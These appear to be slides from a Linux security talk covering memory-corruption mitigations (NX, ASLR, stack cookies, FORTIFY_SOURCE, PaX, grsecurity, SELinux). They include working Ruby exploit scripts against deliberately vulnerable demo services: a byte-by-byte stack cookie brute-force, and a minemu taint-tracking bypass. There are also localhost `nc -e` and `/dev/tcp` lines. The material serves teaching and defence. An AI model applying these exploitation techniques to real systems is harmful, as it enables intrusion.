

Linux Security

andrewg@felinemenace.org

Introduction & Topics Covered

- About me
- Hardware security
- Linux kernel security
- User-land security
- Source code instrumentation
- Logic bugs
- Prior knowledge

Hardware Security

- Non-executable memory
 - Variety of implementations and implementation goals
 - Prevent code execution on certain ranges
 - Stack memory
 - Per-page
 - Processor support
 - Code Segment (CS)
 - Physical Address Extension (PAE)
- Supervisor Mode Execution Protection
 - Prevents kernel executing user code
 - PaX uderef

Attacking Non-executable memory

- Heap
 - Place suitable shellcode instructions in the heap
- C Library
 - Return to a function address (such as system)
- ET_EXEC symbol / function
- Static VDSO
- Return orientated programming

Return Orientated Programming

- Small snippets of instructions followed by a return instruction
- Chain instructions to execute arbitrary code
- Stack looks like multi-function ret2libc
- Preventative measures?
 - Unaligned pages
 - Randomized executables / libraries
 - Binary instrumentation / Processor support

Address Space Layout Randomisation

- Instead of having code / data in predictable locations, change them
 - Stack
 - Heap
 - Library addresses
 - Binary position
- ASLR implementations and goals
- Makes attacks less deterministic
- Single attempts vs bruteforce
- Memory leaks
- ASCII armour

Position Independent Executables

- Traditionally, binary positions have been fixed (at 0x08048000 for Linux/x86)
- Position Independent Executables (ET_DYN) allows the executable code to be mapped anywhere
- ret2libc attacks more difficult

Ubuntu 11.04 PIE Layout

```
1 Ubuntu 11.04, 64-bit. 32-bit binary
2
3 f75db000-f75dc000 | f763f000-f7640000
4 f75dc000-f7732000 /lib32/libc-2.13.so | f7640000-f7796000 /lib32/libc-2.13.so
5 f7732000-f7733000 /lib32/libc-2.13.so | f7796000-f7797000 /lib32/libc-2.13.so
6 f7733000-f7735000 /lib32/libc-2.13.so | f7797000-f7799000 /lib32/libc-2.13.so
7 f7735000-f7736000 /lib32/libc-2.13.so | f7799000-f779a000 /lib32/libc-2.13.so
8 f7736000-f773a000 | f779a000-f779e000
9 f7763000-f7764000 | f77c7000-f77c8000
10 f7764000-f7765000 [vdso] | f77c8000-f77c9000 [vdso]
11 f7765000-f7781000 /lib32/ld-2.13.so | f77c9000-f77e5000 /lib32/ld-2.13.so
12 f7781000-f7782000 /lib32/ld-2.13.so | f77e5000-f77e6000 /lib32/ld-2.13.so
13 f7782000-f7783000 /lib32/ld-2.13.so | f77e6000-f77e7000 /lib32/ld-2.13.so
14 f7783000-f7784000 pietest | f77e7000-f77e8000 pietest
15 f7784000-f7785000 pietest | f77e8000-f77e9000 pietest
16 f7785000-f7786000 pietest | f77e9000-f77ea000 pietest
17 ffd4e000-ffd6f000 [stack] | ffddf000-ffe00000 [stack]
```


ASLR & Heap exploits

- Heap implementations & advancements
 - <https://github.com/andrewg-felinemenace/Linux-OpenBSD-malloc>
- Separation of heap control information and program data
- Heap reset, sprays and massages
- Application specific structures more often better

Future of ASLR

- Randomized kernel functions / data locations / images
- Programs to re-execute themselves to maximize ASLR
 - Postfix has always done this
 - OpenSSH had this feature implemented

Source Code Fortification

- `-DFORTIFY_SOURCE`
- `__builtin_object_size()`
- Instrument C function usage
- Inserts checks if possible
 - `__strcpy_chk / __read_chk`
 - `__strcpy_chk / __printf_chk`
 - etc

Source Code Fortification Example

```
1 ; char buf[64];
2 ; strcpy(buf, argv[1]);
3
4 movl    $64, 8(%esp)    ; length
5 movl    4(%eax), %eax   ; source
6 movl    %eax, 4(%esp)
7 leal   28(%esp), %eax
8 movl    %eax, (%esp)   ; destination
9 call   __strcpy_chk
10
11 ; __strcpy_chk(buf, argv[1], 64);
```

```
1 $ ./strcpy_chk `perl -e 'print "x" x 128`
2 *** buffer overflow detected ***: ./strcpy_chk terminated
3 ===== Backtrace: =====
4 /lib32/libc.so.6(__fortify_fail+0x50)[0xf767f9f0]
5 /lib32/libc.so.6(+0xe38fa)[0xf767e8fa]
6 /lib32/libc.so.6(__strcpy_chk+0x3f)[0xf767dc8f]
7 ./strcpy_chk[0x8048473]
8 /lib32/libc.so.6(__libc_start_main+0xe7)[0xf75b1e37]
9 ./strcpy_chk[0x80483a1]
10 ===== Memory map: =====
```

Stack Smashing Protection

- What is Stack Smashing Protection (SSP)
- What does it do?
 - Canary / Cookie
 - Function stack rewriting
 - Argument shadowing

Stack Smashing Protection - Example

```
1 int ssp_example(char *string1, char *string2)
2 {
3     char *string3 = string1;
4     char buf[1024];
5
6     strcpy(buf, string1);
7     strcpy(string3, string2);
8     exit(EXIT_FAILURE);
9 }
```

SSP - Stack Layout With no SSP

Type	Name	Contents
Pointer	string2	String Pointer
Pointer	string1	String Pointer
Value	Saved EIP	EIP on return
Value	Saved EBP	EBP on return
Pointer	string3	String Pointer
Buffer	buf	1024 byte array

SSP - Stack Layout With SSP

Type	Name	Contents
Value	Saved EIP	EIP on return
Value	Saved EBP	EBP on return
Value	SSP Cookie	Stack Cookie Value
Buffer	buf	1024 byte array
Pointer	string3	String Pointer
Pointer	string2	String Pointer
Pointer	string1	String Pointer

SSP - Stack Layout Summary

```
1 $ ./ssp_test `perl -e 'print "x" x 1024'` 1
2 *** buffer overflow detected ***: ./ssp_test terminated
3 ===== Backtrace: =====
4 /lib32/libc.so.6(__fortify_fail+0x50)[0xf77339f0]
5 /lib32/libc.so.6(+0xe38fa)[0xf77328fa]
6 /lib32/libc.so.6(__strcpy_chk+0x3f)[0xf7731c8f]
7 ./ssp_test[0x804848a]
8 ./ssp_test[0x80484ce]
9 /lib32/libc.so.6(__libc_start_main+0xe7)[0xf7665e37]
10 ./ssp_test[0x80483b1]
11 ===== Memory map: =====
```

- Stack layout more resistant to attack
 - Function arguments moved
 - Buffers moved to before cookie
 - Overwrite of cookie terminates program
- Cookie implementations - terminator, random, mixed, and Ubuntu cookie :)

SSP - Weaknesses

- Implementation problems
 - Once upon a time, static binaries had a cookie of 0 on some distributions
- Stack information leaks
- Cookie does not change if fork()'d
 - Allows bruteforce of entire cookie
 - and also an optimization of byte by byte

NX / ASLR / SSP Exploited

- SSP rewrites the stack arguments, and adds a cookie before saved EIP.
- ASLR makes exploitation more complicated by making attacks less deterministic
- Non executable memory aims to make attacks more difficult by preventing code from being injected into the process
- Let's have a look at how this works in practice against an ideal target

```

1 char *decrypt(unsigned char *password, int length)
2 {
3     unsigned char buf[64];
4     int i;
5
6     for(i = 0; i < length; i ++) {
7         buf[i] = password[i] ^ 0x5a;
8     }
9
10    return strdup(buf);
11 }
12
13 int is_password(int cfd)
14 {
15     unsigned char buf[256], *q;
16     int r;
17     char *p;
18
19     memset(buf, 0, sizeof(buf));
20
21     q = "PASSWORD ";
22     read(cfd, &r, sizeof(int));
23     read(cfd, buf, r);
24
25     if(strncmp(buf, q, strlen(q)) == 0) {
26         p = decrypt(buf + 9, r - 9);
27         return 1;
28     } else {
29         return 0;
30     }
31 }

```

```

1 void child(int cfd)
2 {
3     char *q;
4
5     if(is_password(cfd) == 0) {
6         q = "Protocol Error";
7         write(cfd, q, strlen(q));
8         exit(EXIT_FAILURE);
9     }
10
11     q = "thanks but no thanks";
12     write(cfd, q, strlen(q));
13     exit(EXIT_SUCCESS);
14 }

```

- 256 byte input
- 64 byte buffer in decrypt

NX / ASLR / SSP Example Exploit

- Needs to determine cookie value
- Needs to determine EIP (and potentially ESP)
- Byte by byte overwrite where possible makes a significant improvement
 - 4 bytes = 256 + 256 + 256 + 256 (repeat for ESP/EIP where applicable)
 - 1024 attempts maximum per 4 bytes
 - Much better than 2^{32-1} (~4 billion) (x 2 or 3)
- 12 least significant bits optimization
 - Knowledge about target OS
- ASLR

```

1 def hash_password(line)
2   return line unless line[/^PASSWORD/]
3
4   ret = ""
5
6   line[9..-1].each_byte { |b|
7     ret << [ b ^ 0x5a ].pack('C')
8   }
9
10  return "PASSWORD " + ret
11 end
12
13 def valid?(buffer)
14   $attempts += 1
15
16   skt = TCPSocket.new(Host, Port)
17
18   line = [buffer.length].pack("V")
19   line << hash_password(buffer)
20
21   skt.puts(line)
22   buf = skt.recv(10) rescue ""
23   skt.close
24
25   puts buf if buf.length != 0 and $debug
26   return buf[/((thanks))/] != nil
27 end

```

```

1 def nextbyte(buf)
2   nextchar = nil
3   nextval = nil
4
5   puts "nextbyte run, buf len = #{buf.length}" if $debug
6
7   255.downto(0) do |byte|
8     puts "trying #{byte}" if $debug
9     b = [byte].pack("C")
10    attempt = buf + b
11
12    if valid?(attempt) then
13      nextchar = b
14      nextval = byte
15      break
16    end
17  end
18
19  raise "Unable to determine the next byte" if nextchar.nil?
20  return nextchar, nextval
21 end
22
23 def exploit
24   buf = "PASSWORD " + ('a' * 64)
25
26   4.times { |x|
27     n, v = nextbyte(buf)
28     buf << n
29   }
30
31   cookie = buf[-4..-1].unpack("V")
32
33   puts "cookie is %08x" % cookie
34   puts "valid?: #{valid?(buf)}" if $debug
35   # and repeat a couple of times for ESP and EIP..

```

NX / ASLR / SSP Result

```
$ time ruby1.9.1 exp2.rb  
cookie is 78147800  
esp is bfe93f08, eip is b7764ae3  
Completed in 1715 tries.
```

```
real 0m2.378s  
user 0m0.444s  
sys 0m0.404s
```

Pretty quick.

NX / ASLR / SSP - Non-ideal cases

- Complex functions
- Further code / data analysis
 - Post Memory Corruption Memory Analyzer talk
- Function pointers

Other compiler enhancements

- Bind now linking
- Read only relocations
 - Reduces writable memory locations
 - May make attacks harder
- Want to check how your binaries have been compiled?
 - scanelf from pax-utils
 - chksec shell script

Source Code Instrumentation

- Features of instrumentation
 - Detect use after free or return / out of bounds access to heap, stack, and global data, dangling pointers
- Bounds checking GCC
- LLVM projects
 - memsafety
 - address sanitizer
- Build everything with instrumentation
 - Fuzz ALL the things
 - Reduce chances of ALL the exploitation

Runtime Instrumentation

- minemu -- <http://minemu.org>
- "Just In Time" execution of programs
- Instruments memory access
 - taints memory writes from the network / environment
 - propagates tainting to other memory written from tainted values
 - prevents tainted memory from being executed or used for direct program control (EIP)
- Variety of weaknesses
 - For starters, disables randomization

Minemu weaknesses

```
1 #include <stdlib.h>
2 #include <unistd.h>
3 #include <stdio.h>
4
5 int main(int argc, char **argv)
6 {
7     int i;
8     int *ip;
9     int *iip;
10    int *new;
11
12    i = 1;
13    ip = &i;
14    iip = &ip;
15
16    write(0, iip, sizeof(i));
17    read(0, &new, sizeof(i));
18    *new = 0;
19
20    printf("i is %d, ip is %p, iip is %p\n", i, ip, iip);
21 }
22
23 # nc -e /bin/cat -l 127.0.0.1 -p 12121 &
24 # ./minemu ./rw < /dev/tcp/127.0.0.1/12121
25 i is 0, ip is 0x50f4b88, iip is 0x50df4b84
```

```
1 # nc -e /bin/cat -l 127.0.0.1 -p 12121 &
2 # ./minemu ./rw < /dev/tcp/127.0.0.1/12121
3 i is 0, ip is 0x50f4b88, iip is 0x50df4b84
```

Doesn't protect against arbitrary writes from tainted values

Minemu weaknesses

```
1 int win()
2 {
3     printf("you are the winner\n");
4     fflush(stdout);
5 }
6
7 int ebp = (int)win;
8
9 int lame()
10 {
11     char buffer[64];
12
13     int sfd, cfd;
14     struct sockaddr_in sin;
15     int (*fp)();
16     int one;
17
18     // snip, setup socket and listen
19
20     listen(sfd, 5);
21     cfd = accept(sfd, NULL, NULL);
22
23     read(cfd, buffer, 128);
24 }
25
26 int main(int argc, char **argv)
27 {
28     int x = lame();
29
30     printf("hello\n");
31 }
```

```
1 # objdump -tr new | grep ebp
2 08049990 g      0 .data 00000004          ebp
```

```
1 require 'socket'
2
3 def doOverwrite()
4     buf = "\x00" * 84
5     buf << [ 0x08049990 - 4 ].pack('V')
6
7     return buf
8 end
9
10 c = TCPSocket.new('127.0.0.1', 11111)
11 c.print(doOverwrite())
```

```
1 Starting program: /root/minemu/minemu ./new
2 Executing new program: /root/minemu/minemu
3 hello
4 you are the winner
5
6 Program received signal SIGILL, Illegal instruction.
7 0x5155d273 in taint_fault ()
```

Code execution possible

Minemu weaknesses

- Taint propagation failures

```
1  for(i = 0; i < length; i++) {  
2      newbuffer[i] = toupper(tainted_buffer[i]);  
3  }  
4  
5  // toupper() is basically implemented as an array  
6  // lookup. so return upper_values[byte].
```

- Hard to propagate tainting on array lookups
- Can be used to clean tainting from inputs and use them later on (such as a new stack layout for code execution)
- toupper / tolower is common in network services

Application Privilege Dropping

- "Drop it like it's hot"
- Each thread has it's own user id / group ids / capability information
- Threads can share virtual memory, file descriptors, amongst other things, clone()

```
1 static void change_process_uid(void)
2 {
3     if (user_pwd) {
4         if (setgid(user_pwd->pw_gid) < 0) {
5             fprintf(stderr, "Failed to setgid(%d)\n", user_pwd->pw_gid);
6             exit(1);
7         }
8         if (setuid(user_pwd->pw_uid) < 0) {
9             fprintf(stderr, "Failed to setuid(%d)\n", user_pwd->pw_uid);
10            exit(1);
11        }
12        if (setuid(0) != -1) {
13            fprintf(stderr, "Dropping privileges failed\n");
14            exit(1);
15        }
16    }
17 }
```

Application Privilege Dropping - qemu

```
1 # cat /proc/3966/status
2 Name : qemu-system -x86
3 State : S ( sleeping )
4 Tgid : 3966
5 Pid : 3966
6 PPid : 1
7 TracerPid : 0
8 Uid : 999 999 999 999
9 Gid : 999 999 999 999
10 FDSize : 32
11 Groups : 0 1 2 3 4 6 10 11 26 27
```

```
1 sh-4.1$ id
2 .. groups=999(qemu00), 0(root), 1(bin), 2(daemon),
3 .. 3(sys), 4(adm), 6(disk), 10(wheel), 11(floppy),
4 .. 26(tape), 27(video)
5 sh-4.1$ xxd /dev/sda | head -n 4
6 00000000 : eb48 9000 0000 0000 0000 0000 0000 0000
7 00000010 : 0000 0000 0000 0000 0000 0000 0000 0000
8 00000020 : 0000 0000 0000 0000 0000 0000 0000 0000
9 00000030 : 0000 0000 0000 0000 0000 0000 0000 0302
10 sh-4.1$ ls -l /dev/sda
11 brw-rw---- 1 root disk 8,0 Jul 8 11:54 /dev/sda
```


Thread privileges

- Groups fixed, all good?
- qemu creates threads first, then drops privileges
- man page vs kernel documentation
- glibc vs other libcs

```
1 $ ps axwu
2 qemu02 31147 ... /usr/bin/qemu-system-x86_64
3
4 $ ps axwu -L
5 qemu02 31147 31147 ... /usr/bin/qemu-system-x86_64
6 root    31147 31149 ... /usr/bin/qemu-system-x86_64
7 root    31147 31150 ... /usr/bin/qemu-system-x86_64
```

- <https://gist.github.com/1084042>

Kernel Security

- or lack thereof.. min mmap addr, /dev/k?mem, read only .text
- SELinux / SMACK / TOMOYO / Apparmor

```
1 author David Howells <dhowells@redhat.com>
2 committer Linus Torvalds <torvalds@linux-foundation.org>
3 Tue, 15 Nov 2011 22:09:45 +0000 (22:09 +0000)
4
5 --- a/security/keys/user_defined.c
6 +++ b/security/keys/user_defined.c
7 @@ -102,7 +102,8 @@ int user_update(struct key *key, const void *data, size_t datalen)
8         key->expiry = 0;
9     }
10
11 -     kfree_rcu(zap, rcu);
12 +     if (zap)
13 +         kfree_rcu(zap, rcu);
14
15 error:
16     return ret;
```

Kernel Security - SELinux

- Reference policies
- Strictness vs usability
- Reactive responses
- Not very user, developer, or sysadmin friendly

Selinux Apache Example

```
1 template(`apache_content_template',`
2     gen_require(`
3         attribute httpdcontent;
4         attribute httpd_exec_scripts;
5         attribute httpd_script_exec_type;
6         type httpd_t, httpd_suexec_t, httpd_log_t;
7     `)
8     # allow write access to public file transfer
9     # services files.
10    gen_tunable(allow_httpd_$1_script_anon_write, false)
11
12    #This type is for webpages
13    type httpd_$1_content_t, httpdcontent; # customizable
14    typealias httpd_$1_content_t alias httpd_$1_script_ro_t;
15    files_type(httpd_$1_content_t)
16
17    # This type is used for .htaccess files
18    type httpd_$1_htaccess_t; # customizable;
19    files_type(httpd_$1_htaccess_t)
20
21    # Type that CGI scripts run as
22    type httpd_$1_script_t;
23    domain_type(httpd_$1_script_t)
24    role system_r types httpd_$1_script_t;
25
26    # This type is used for executable scripts files
27    type httpd_$1_script_exec_t, httpd_script_exec_type; # customizable;
28    corecmd_shell_entry_type(httpd_$1_script_t)
29    domain_entry_file(httpd_$1_script_t, httpd_$1_script_exec_t)
```

29 lines out of a total of 111 + 1218 + 901 lines

Kernel Security - AppArmor

- Very small amount of policies
- Path based
- Vaguely similiar to grsecurity config

```
1 #include <tunables/global>
2 /usr/sbin/tcpdump {
3     #include <abstractions/base>
4     #include <abstractions/namespace>
5     #include <abstractions/user-tmp>
6     capability net_raw,
7     capability setuid,
8     capability setgid,
9     capability dac_override,
10    network raw,
11    network packet,
12    # for -D
13    capability sys_module,
14    @{PROC}/bus/usb/ r,
15    @{PROC}/bus/usb/** r,
16    # for -F and -w
17    audit deny @{HOME}/.* mrwkl,
18    audit deny @{HOME}/.* / rw,
19    audit deny @{HOME}/.*/** mrwkl,
20    audit deny @{HOME}/bin/ rw,
21    audit deny @{HOME}/bin/** mrwkl,
22    @{HOME}/ r,
23    @{HOME}/** rw,
24    /usr/sbin/tcpdump r,
25 }
```

Kernel Security - OpenWall Patch

- One of the earliest patches available
- Non-executable stack
- Other hardening approaches
- Kernel source code auditing

Kernel Security - PaX Patch Influence

- PaX has had a huge influence on modern security in OS
 - ASLR in OpenBSD / Windows / Linux / MacOSX / NetBSD, etc
 - Position Independent Executables
 - RELRO / Secure PLT / etc
 - mprotect restrictions -> SELinux execmod, NetBSD
 - NX Memory in Linux / Windows / OpenBSD / etc
 - Userland execution prevention -> min_mmap_addr
- And most likely will continue to do so in the future

Kernel Security - PaX Patch

- Non executable memory
- Reduces code injection avenues
- □ Kernel correctness
 - Correct access to userland / kernel memory / API
- Kernel sanitation
- Memory randomization
 - code / data / kernel stack
- GCC plugins to instrument kernel compile

Kernel Source Code Instrumentation

- PaX GCC plugins
 - Constify plugin
 - Marks structures as const by default
 - Stack leak detection
 - Sanitize kernel stack
 - kallocstat plugin
 - Tracks k*alloc* sizes
 - KernExec plugin
 - x64 implementation of KernExec
 - Differences between x86 and x64
 - Checker plugin
 - Source code checking
 - Address space separation

Kernel Security - grsecurity patch

- Optional Role-Based Mandatory Access Control Lists
 - Path based
 - Capability restrictions
 - Network restrictions
- Implements additional improvements and restrictions
- Miscellaneous other hardening techniques
- Information disclosure prevention
- Extensive auditing options
- Information disclosure prevention

grsecurity ACL example

```
1 role cvs u
2   subject /
3     /      h
4     -CAP_ALL
5     connect disabled
6     bind   disabled
7
8   subject /usr/bin/cvs
9     /
10    /etc/fstab      r
11    /etc/mtab       r
12    /etc/passwd     r
13    /proc/meminfo   r
14    /dev/urandom    r
15    /dev/log        rw
16    /dev/null       rw
17    /home/cvs       r
18    /home/cvs/CVSR00T/val-tags  rw
19    /home/cvs/CVSR00T/history    ra
20    /tmp            rwcd
21    /var/lock/cvs   rwcd
22    /var/run/.nscd_socket        rw
23    /proc/sys/kernel  r
24    /var/run
```

Who needs memory corruption bugs?

- Yubico PAM Module
 - Fix big security hole: Authentication succeeded when no password was given, unless `use_first_pass` was being used. This is fatal if `pam_yubico` is considered 'sufficient' in the PAM configuration.
- Cyrus IMAP NNTP
 - The vulnerability is caused by an error in the authentication mechanism of the NNTP server. This can be exploited to bypass the authentication process and execute commands intended for authenticated users only by sending an "AUTHINFO USER" command without a following "AUTHINFO PASS" command.
- And lots of other vulnerabilities that don't require memory corruption

Questions?

If you'd like to learn more about memory corruption bugs, exploit development, program debugging etc, please check out:

<http://exploit-exercises.com>